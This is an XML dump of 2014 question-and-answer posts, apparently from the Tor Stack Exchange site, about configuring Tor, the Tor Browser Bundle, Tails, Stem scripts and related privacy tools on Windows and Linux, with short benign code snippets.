  <row Id="3244" PostTypeId="2" ParentId="1192" CreationDate="2014-06-03T14:10:59.053" Score="1" Body="&lt;p&gt;This is Windows console window, it appears on every console application and there is nothing to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possibly Tor needs to run some additional terminal commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid it you should start Tor programmatically passing the CREATE_NO_WINDOW flag to CreateProcess(). &#xA;Or use a special tool like hstart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively create file &quot;start.vbs&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set Shell = CreateObject(&quot;WScript.Shell&quot;)&#xA;Shell.Run &quot;&quot;&quot;Path to your Tor executable&quot;&quot;&quot;, 0, False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And start it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wscript.exe &quot;PATHTO:\start.vbs&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://torforum.org/viewtopic.php?f=4&amp;amp;t=18312&quot; rel=&quot;nofollow&quot;&gt;http://torforum.org/viewtopic.php?f=4&amp;amp;t=18312&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-06-03T14:10:59.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3245" PostTypeId="2" ParentId="1618" CreationDate="2014-06-03T14:16:05.720" Score="1" Body="&lt;p&gt;It is not possible to get the IP address of a Tor hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a normal Tor circuit, the client knows the IP of the server, but the server does not know the IP of the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind hidden services is that when both a client and a server are Tor-enabled, it's possible to build Tor circuits in both directions and hide both the client and server IP (by using intermediate nodes).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;References: a high-level description of the protocol can be found in &lt;a href=&quot;https://www.torproject.org/docs/hidden-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor: Hidden Service Protocol&lt;/a&gt;, while a more detailed description can be found in the original design paper &lt;em&gt;&lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor: The Second-Generation Onion Router&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/38194/how-can-i-get-the-ip-address-for-a-tor-hidden-service-hsp-with-a-onion-addres&quot;&gt;How can I get the IP address for a ToR Hidden Service (HSP) with a .onion address?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2017-03-17T10:46:11.210" LastActivityDate="2014-06-03T14:16:05.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3246" PostTypeId="2" ParentId="1988" CreationDate="2014-06-03T14:19:43.830" Score="2" Body="&lt;p&gt;You're using &lt;code&gt;127.0.0.1:8118&lt;/code&gt; as a proxy URL (in a nutshell) with &lt;code&gt;http&lt;/code&gt; as your protocol. You should use &lt;code&gt;https&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/23220494/tor-doesnt-work-with-urllib2&quot;&gt;Tor doesn't work with urllib2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/3248895/204634&quot;&gt;Python urllib2 &gt; HTTP Proxy &gt; HTTPS request&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:21.987" LastActivityDate="2016-03-25T22:44:03.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3247" PostTypeId="2" ParentId="2189" CreationDate="2014-06-03T14:23:23.417" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;That may have happened because Firefox hanged or is taking to long to&#xA;close. Access your task manager and terminate Firefox's application.&#xA;That will loose you no data and will allow you to run Firefox again.&lt;/p&gt;&#xA;&lt;p&gt;It's probable that it's just taking a bit longer to close, though, so&#xA;waiting a bit will probably fix the issue (like a few seconds).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You may also try to create a new profile.&lt;/p&gt;&#xA;&lt;p&gt;See:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kb.mozillazine.org/Recovering_a_missing_profile&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://kb.mozillazine.org/Recovering_a_missing_profile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://kb.mozillazine.org/Profile_in_use&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://kb.mozillazine.org/Profile_in_use&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There is also some suggested solution at &lt;a href=&quot;https://support.mozilla.org/en-US/questions/672361&quot; rel=&quot;nofollow noreferrer&quot;&gt;Support Mozilla&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Launch My Computer or Windows Explorer.&lt;/li&gt;&#xA;&lt;li&gt;Choose menu 'Tools' -&amp;gt; 'Folder Options'&lt;/li&gt;&#xA;&lt;li&gt;Click the 'File Types' tab.&lt;/li&gt;&#xA;&lt;li&gt;Scroll down to find 'URL:HyperText Transfer Protocol' (under the File Types column) and make sure it's highlighted.&lt;/li&gt;&#xA;&lt;li&gt;Click the 'Advanced' button.&lt;/li&gt;&#xA;&lt;li&gt;In the 'Actions' box make sure that 'open' is highlighted (click on it if necessary)&lt;/li&gt;&#xA;&lt;li&gt;Click the 'Edit' button.&lt;/li&gt;&#xA;&lt;li&gt;Uncheck 'Use DDE', click the Browse button and browse to Firefox.exe on your system, and click OK. [Updated for clarification, sorry about the earlier omission.] If you get a &amp;quot;file not found&amp;quot; message, browse to Firefox.exe and click OK.&lt;/li&gt;&#xA;&lt;li&gt;The path to Firefox.exe should now appear in the 'Application used to perform this action' box.&lt;/li&gt;&#xA;&lt;li&gt;Go to that 'Application used to perform this action' box, and add '-url &amp;quot;%1&amp;quot;' at the end, without the single quotes, so that it reads e.g. (on my computer at least) &amp;quot;C:\Program Files\Mozilla Firefox\firefox.exe&amp;quot; -url &amp;quot;%1&amp;quot; - with the double quotes!&lt;/li&gt;&#xA;&lt;li&gt;Click OK again.&lt;/li&gt;&#xA;&lt;li&gt;Repeat the process with the file type 'URL:HyperText Transfer Protocol with Privacy'&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-06-03T14:23:23.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3248" PostTypeId="2" ParentId="3223" CreationDate="2014-06-03T14:47:06.897" Score="1" Body="&lt;p&gt;As it says it's debug message, so normally you should ignore or disable any debugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that kind of messages I don't think you can find reasonable meaning without &lt;a href=&quot;https://www.google.co.uk/search?q=%22Adding%20circuit%20build%20time%22&amp;amp;oq=%22Adding%20circuit%20build%20time%22&quot; rel=&quot;nofollow&quot;&gt;Googling it&lt;/a&gt; or checking the source code (&lt;a href=&quot;https://svn.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;svn&lt;/a&gt;, &lt;a href=&quot;https://github.com/arlolra/tor&quot; rel=&quot;nofollow&quot;&gt;git&lt;/a&gt;), because these messages are mainly for developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you think it could be a bug, check at &lt;a href=&quot;https://trac.torproject.org/projects/tor&quot; rel=&quot;nofollow&quot;&gt;Tor bug tracker&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code responsible for that specific message is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Add a new build time value &amp;lt;b&amp;gt;time&amp;lt;/b&amp;gt; to the set of build times. Time&#xA; * units are milliseconds.&#xA; *&#xA; * circuit_build_times &amp;lt;b&amp;gt;cbt&amp;lt;/b&amp;gt; is a circular array, so loop around when&#xA; * array is full.&#xA; */&#xA;int&#xA;circuit_build_times_add_time(circuit_build_times_t *cbt, build_time_t time)&#xA;{&#xA;  if (time &amp;lt;= 0 || time &amp;gt; CBT_BUILD_TIME_MAX) {&#xA;    log_warn(LD_BUG, &quot;Circuit build time is too large (%u).&quot;&#xA;                      &quot;This is probably a bug.&quot;, time);&#xA;    tor_fragile_assert();&#xA;    return -1;&#xA;  }&#xA;&#xA;log_debug(LD_CIRC, &quot;Adding circuit build time %u&quot;, time);&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the top comment above the function name should be already some help. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As far as I know the circuit build times checkings are mainly to protect Tor hidden services from botnet abuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fc14.ifca.ai/papers/fc14_submission_152.pdf&quot; rel=&quot;nofollow&quot;&gt;Short Paper: Challenges in protecting Tor&#xA;hidden services from botnet abuse&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-06-03T14:47:06.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3249" PostTypeId="1" AcceptedAnswerId="3763" CreationDate="2014-06-03T16:30:56.863" Score="0" ViewCount="104" Body="&lt;p&gt;There are &lt;a href=&quot;http://radare.today/technical-analysis-of-the-gnutls-hello-vulnerability/&quot; rel=&quot;nofollow&quot;&gt;reports&lt;/a&gt; that many Linux systems are compromised by a recent &lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3466&quot; rel=&quot;nofollow&quot;&gt;critical GnuTLS issue&lt;/a&gt;. Is Tails affected by this? &lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-08-05T09:18:59.800" Title="Is Tails affected by the GnuTLS Hello Vulnerability (CVE-2014-3466) ? If so, how?" Tags="|security|tails|vulnerability|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3250" PostTypeId="2" ParentId="3249" CreationDate="2014-06-03T16:30:56.863" Score="0" Body="&lt;p&gt;Referring to a &lt;a href=&quot;https://tor.stackexchange.com/questions/1652/does-the-gnutls-bug-cve-2014-0092-affect-the-tor-browser-bundle-or-tails&quot;&gt;previous answer to a similar question&lt;/a&gt;, Tor uses the OpenSSL library not use GnuTLS for encryption so it is not affected by this vulnerability.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-06-03T16:30:56.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3251" PostTypeId="2" ParentId="3241" CreationDate="2014-06-03T16:41:11.307" Score="1" Body="&lt;p&gt;'Using Tor' means that network communication from a given software package is going through the Tor network instead of using the network directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many software packages, from operating system updates to browsers to bittorrent clients, send data over the internet. If software is using Tor then all their network data is going through Tor. Usually software has to be specifically configured to use Tor, so unless you have explicitly configured your software to use Tor assume that it is communicating directly over the internet. The Tor Browser Bundle is browser software that is configured to use the Tor network with no additional configuration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to use Tor for some software applications (such as the Tor Browser Bundle) while also using other software that is not using Tor (such as your bittorrent client). Be warned that software not using Tor will provide any listening third party considerable information about what it is doing.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-06-03T16:41:11.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3252" PostTypeId="1" CreationDate="2014-06-04T01:54:09.170" Score="3" ViewCount="4870" Body="&lt;p&gt;I recently made a Truecrypt AES encrypted folder and installed the Tor Browser Bundle into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering - if I delete the Truecrypt file, is there anything else left on my computer pointing to Tor or anything similar? I would assume there might be a few registry entries or something obscure that could be used against me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor FAQ doesn't really give a clear answer to this question, and I'm very curious if there are any further implications that I currently think.&lt;/p&gt;&#xA;" OwnerUserId="1884" LastEditorUserId="923" LastEditDate="2014-06-04T08:44:56.993" LastActivityDate="2015-02-15T19:49:48.313" Title="How to completely delete every single trace of Tor from Windows 7 Truecrypt folder" Tags="|tor-browser-bundle|security|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3253" PostTypeId="1" AcceptedAnswerId="3255" CreationDate="2014-06-04T09:55:05.177" Score="2" ViewCount="835" Body="&lt;p&gt;Although the Stem script &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/exit_used.html&quot; rel=&quot;nofollow&quot;&gt;&quot;exit_used.py&quot;&lt;/a&gt; runs for a while, eventually it hits &quot;Exception in thread Event Notifier&quot; and stops. Traceback reports that the failing call is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  File &quot;/usr/local/lib/python2.7/dist-packages/stem/control.py&quot;, line 2196, in get_circuit&#xA;    raise exc&#xA;ValueError: Tor presently does not have a circuit with the id of 'None'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I knew Python, I would just trap all &quot;circuit ID = None&quot; errors, and move along. But I don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How might I accomplish that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: I'd like to use the Stem script &quot;exit_used.py&quot; to log Tor exits being used while testing load times for various websites (torsocks midori -s &lt;a href=&quot;https://foo.com&quot; rel=&quot;nofollow&quot;&gt;https://foo.com&lt;/a&gt;). I got the idea from grarpamp's post &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-May/033119.html&quot; rel=&quot;nofollow&quot;&gt;&quot;Craigslist now giving Tor the slows, lol&quot;&lt;/a&gt; in tor-talk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a timestamp, and reformatted the output for easy spreadsheet entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python&#xA;&#xA;import functools&#xA;import time&#xA;from stem import StreamStatus&#xA;from stem.control import EventType, Controller&#xA;&#xA;def main():&#xA;  print &quot;Tracking requests for tor exits. Press 'enter' to end.&quot;&#xA;  print&#xA;&#xA;  with Controller.from_port() as controller:&#xA;    controller.authenticate()&#xA;&#xA;    stream_listener = functools.partial(stream_event, controller)&#xA;    controller.add_event_listener(stream_listener, EventType.STREAM)&#xA;&#xA;    raw_input()  # wait for user to press enter&#xA;&#xA;def stream_event(controller, event):&#xA;  if event.status == StreamStatus.SUCCEEDED and event.circ_id:&#xA;    circ = controller.get_circuit(event.circ_id)&#xA;    exit_fingerprint = circ.path[-1][0]&#xA;    exit_relay = controller.get_network_status(exit_fingerprint)&#xA;    t = time.localtime()&#xA;&#xA;    print &quot;datetime|%d-%02d-%02d %02d:%02d:%02d % (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)&#xA;    print &quot;website|%s&quot; % (event.target)&#xA;    print &quot;exitip|%s&quot; % (exit_relay.address)&#xA;    print &quot;exitport|%i&quot; % (exit_relay.or_port)&#xA;    print &quot;fingerprint|%s&quot; % exit_relay.fingerprint&#xA;    print &quot;nickname|%s&quot; % exit_relay.nickname&#xA;    print &quot;locale|%s&quot; % controller.get_info(&quot;ip-to-country/%s&quot; % exit_relay.address, 'unknown')&#xA;    print&#xA;&#xA;if __name__ == '__main__':&#xA;  main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-05T23:10:44.113" LastActivityDate="2014-06-05T23:10:44.113" Title="How do I trap &quot;circuit ID = None&quot; errors in the Stem script &quot;exit_used.py&quot;?" Tags="|python|blocked-services|stem|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3254" PostTypeId="1" AcceptedAnswerId="3256" CreationDate="2014-06-04T11:19:30.383" Score="1" ViewCount="43" Body="&lt;p&gt;It used to be here &lt;a href=&quot;https://metrics.torproject.org/csv/direct-users.csv&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/csv/direct-users.csv&lt;/a&gt; . I wanted to use it for a simulation I'm setting up, but I can't find it there nor elswhere. Does anybody know more about it?&lt;/p&gt;&#xA;" OwnerUserId="1728" LastActivityDate="2014-06-04T18:00:58.083" Title="Where can i find the direct-users.csv metrics file?" Tags="|stats|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3255" PostTypeId="2" ParentId="3253" CreationDate="2014-06-04T15:59:27.003" Score="3" Body="&lt;p&gt;Thanks for the catch! Fixed...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/stem.git/commitdiff/f46974987106e3246482158e009491faa07bbae4&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/stem.git/commitdiff/f46974987106e3246482158e009491faa07bbae4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-06-04T15:59:27.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3256" PostTypeId="2" ParentId="3254" CreationDate="2014-06-04T18:00:58.083" Score="2" Body="&lt;p&gt;The contents have moved here: &lt;a href=&quot;https://metrics.torproject.org/stats/clients.csv&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/stats/clients.csv&lt;/a&gt;; also look at this page for a description of the file format: &lt;a href=&quot;https://metrics.torproject.org/stats.html&quot; rel=&quot;nofollow&quot;&gt;https://metrics.torproject.org/stats.html&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2014-06-04T18:00:58.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3257" PostTypeId="2" ParentId="1025" CreationDate="2014-06-05T20:55:30.550" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://chrome.google.com/webstore/detail/proxy-switchysharp/dpplabbmogkhghncfbfdeeokoefdjegm/related?hl=en-US&quot; rel=&quot;noreferrer&quot; title=&quot;Proxy SwitchySharp&quot;&gt;Proxy SwitchySharp&lt;/a&gt; supports SOCKS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an article on &lt;a href=&quot;http://xmodulo.com/2013/08/how-to-browse-web-anonymously-with-google-chrome.html&quot; rel=&quot;noreferrer&quot; title=&quot;How to browse the web anonymously with Google Chrome&quot;&gt;How to browse the web anonymously with Google Chrome&lt;/a&gt; in Linux that covers configuration in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that there are some security holes when using this method to browse via Tor in Chrome, including but possibly/probably not limited to:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;By default your DNS lookups will leak. &#xA;To avoid this you must uncheck “Predict network actions to improve page load performance” in Chrome Settings&gt;Advanced. DNS lookups for anything other than HTTP/HTTPS will still leak.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2014-06-05T20:55:30.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3258" PostTypeId="2" ParentId="2191" CreationDate="2014-06-05T21:23:08.987" Score="1" Body="&lt;p&gt;It turned out to be a bug. Actually two bugs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12184&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/12184&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-06-05T21:23:08.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3259" PostTypeId="2" ParentId="3252" CreationDate="2014-06-06T01:20:25.637" Score="3" Body="&lt;p&gt;This is a tough question for any operating system. And it's especially tough for operating systems, such as Windows and OS X, that are largely closed-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's arguable that Windows' logging capabilities are largely undocumented, at least in public. My favorite example is &lt;a href=&quot;http://www.4n6k.com/2013/12/shellbags-forensics-addressing.html&quot; rel=&quot;nofollow&quot;&gt;&quot;shellbags&quot;&lt;/a&gt;. It's my understanding that, prior to mid 2012, these registry entries were understood only by digital forensics experts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, how can one be certain that all traces of system usage have been removed? In my opinion, one can't. I'm not going to recommend any cleaners. But avoid those that don't address shellbags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever it seems important to remove traces of system usage, there are better alternatives. The best is using a LiveCD on a machine with no hard drive, and shutting down promptly after use (to avoid RAM dumping). For Tor, that means Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is using a machine with full-disk encryption. Traces remain, but adversaries can't see them unless they can decrypt the disk. However, in places where you could be &lt;a href=&quot;http://xkcd.com/538/&quot; rel=&quot;nofollow&quot;&gt;forced to reveal the passphrase&lt;/a&gt;. avoid this approach ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also crucial to keep in mind that traces of Tor use may remain in logs retained by your LAN router and ISP. To avoid that, you could use a Tor bridge and/or VPN service. However, Tor bridges eventually become well-known, and VPN services (and/or their ISPs) may retain and share logs. I could say lots more about that, but I'll restrain myself ;)&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-06T01:20:25.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3260" PostTypeId="2" ParentId="2188" CreationDate="2014-06-06T07:06:37.397" Score="1" Body="&lt;p&gt;You can find out whether DNS requests are resolved by TBB or DNScrypt here:&#xA;&lt;a href=&quot;http://ipleak.net/&quot; rel=&quot;nofollow&quot;&gt;http://ipleak.net/&lt;/a&gt;&#xA;(DNS detection only works with Javascript enabled)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that the DNScrypt GUI versions made by OpenDNS are highly outdated.&#xA;Newer versions of DNScrypt are available on dnscrypt.org&#xA;They are also configurable to use DNS servers other than OpenDNS's.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastActivityDate="2014-06-06T07:06:37.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3261" PostTypeId="2" ParentId="3241" CreationDate="2014-06-06T07:22:04.320" Score="1" Body="&lt;p&gt;If you are using the Tor Browser Bundle, your bittorrent client will not use Tor, unless you have configured it to do so. In this case, I do not believe that running the bittorrent client while using the Tor Browser is a problem. If anything, the bittorrent client generates non-Tor traffic that might help hide Tor use, especially if you are using obfuscated bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is difficult to configure bittorrent clients to properly use Tor. If you have tried that, and the client is performing well, much of its traffic is probably not being routed through Tor. Given Tor's high latency and low bandwidth, the client will not perform very well if you do manage to configure it properly. And in the process, it will max out many circuits, hog relays, and interfere with other Tor users. That is why people advise against doing it.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2014-06-08T00:19:26.307" LastActivityDate="2014-06-08T00:19:26.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3262" PostTypeId="1" AcceptedAnswerId="3263" CreationDate="2014-06-06T07:22:29.737" Score="2" ViewCount="230" Body="&lt;p&gt;If you use TBB to visit a public website that also runs a hidden service for end-to-end encryption(DuckDuckGo for example), will TBB automatically use the hidden service or do users need to manually enter it's onion address? &lt;/p&gt;&#xA;" OwnerUserId="1747" LastActivityDate="2014-06-12T21:12:23.830" Title="Visiting websites also run as hidden service" Tags="|tor-browser-bundle|onion-services|web-hosting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3263" PostTypeId="2" ParentId="3262" CreationDate="2014-06-06T07:31:57.043" Score="5" Body="&lt;p&gt;It must be done manually. There is no interaction between the Domain Name System (DNS) and Tor hidden service hostnames. See &lt;a href=&quot;https://tor.stackexchange.com/questions/711/onion-dns-lookup&quot;&gt;this answer about resolution of .onion domains&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-06-06T07:31:57.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3264" PostTypeId="1" CreationDate="2014-06-06T11:44:05.487" Score="1" ViewCount="415" Body="&lt;p&gt;When I try to connect to Tor, says: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tor establish a network connection failure Connecting relay directory&#xA;  failed (lack of pluggable transport type bridge)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0VZx2.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1901" LastEditorUserId="923" LastEditDate="2014-06-07T08:04:33.033" LastActivityDate="2014-06-07T08:04:33.033" Title="What's wrong here? Connection failure?" Tags="|pluggable-transports|network-configuration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3266" PostTypeId="1" CreationDate="2014-06-06T17:29:55.860" Score="7" ViewCount="39104" Body="&lt;p&gt;I am curious as to how it would work to use Tor for Netflix or Hulu if I have paid subscriptions to both sites.&lt;/p&gt;&#xA;" OwnerUserId="1903" LastEditorUserId="1112" LastEditDate="2014-06-08T20:53:40.540" LastActivityDate="2016-08-20T13:31:11.167" Title="Can Tor be used with Netflix or Hulu?" Tags="|tor-browser-bundle|configuration|plugin|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3267" PostTypeId="1" CreationDate="2014-06-06T21:52:36.673" Score="1" ViewCount="6897" Body="&lt;p&gt;Ive been reading whonix's documentation and threads here to be more anonymous and secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the best anonymity whonix recommends having two different computers, one being the gateway and the other being the workstation. On the workstation, for the best anonymity and security, would it be wise to run Tails as a live CD or USB, along with the whonix setup? I was unsure whether I should run Tails in a vm under whonix workstation, run Tails as a live CD and the whonix workstation as a vm, or just run Tails/the whonix workstation. I assume that would provide the benefits of both operating systems? Im not sure. (I've also had thoughts about running QubesOS and/or corridor as well, but then I had the thought that multiple types of OS's might increase my attack area). I have my gateway planned and almost setup but I do not have my workstation setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(also as a side note, when referring to Tor -&gt; Tails over Tails -&gt; Tor for security, does that mean run Tails as a live CD and use Tor browser or use vidalia and Tails in a vm? Im guessing the former. I know Tails &gt; Tor is Tor in Tails, however I couldnt come up with any way to do Tor &gt; Tails without using my setup at the beginning of the post)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which configuration, that I have mentioned or your own idea, provides the most anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to be my most paranoid self for safety :)&lt;/p&gt;&#xA;" OwnerUserId="1905" LastEditorUserId="923" LastEditDate="2014-06-08T20:54:42.307" LastActivityDate="2014-07-08T22:09:32.367" Title="Multiple gateways (whonix with tails)?" Tags="|anonymity|tails|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3268" PostTypeId="1" CreationDate="2014-06-06T23:10:52.353" Score="1" ViewCount="708" Body="&lt;p&gt;I am a Windows user. And in the past I used a solution to connect to IRC which involved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IRC Client ---&gt; FreeCap ---&gt; Tor &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I understand XChat supports SOCK5 proxy connection, which is what I believe tor was providing at the time. Now, I tend to banned frequently on IRC and so I need to receive a new identity regularly. In the past there was a tray application for Windows called vidalia, which had a &quot;get new identity&quot; button. However this application seems to have vanished and is replaced with the tor browser bundle. So, is it still possible to connect threw TOR with SOC5, and is there a way to get new identities... I'm sorry for not understanding, but most of the material I have found is only useful for Debian, not Windows. &lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="923" LastEditDate="2014-06-08T20:54:25.663" LastActivityDate="2014-06-08T20:54:25.663" Title="Using the new browser bundle with IRC" Tags="|windows|vidalia|socks|" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-25T06:23:05.580" ContentLicense="CC BY-SA 3.0" />
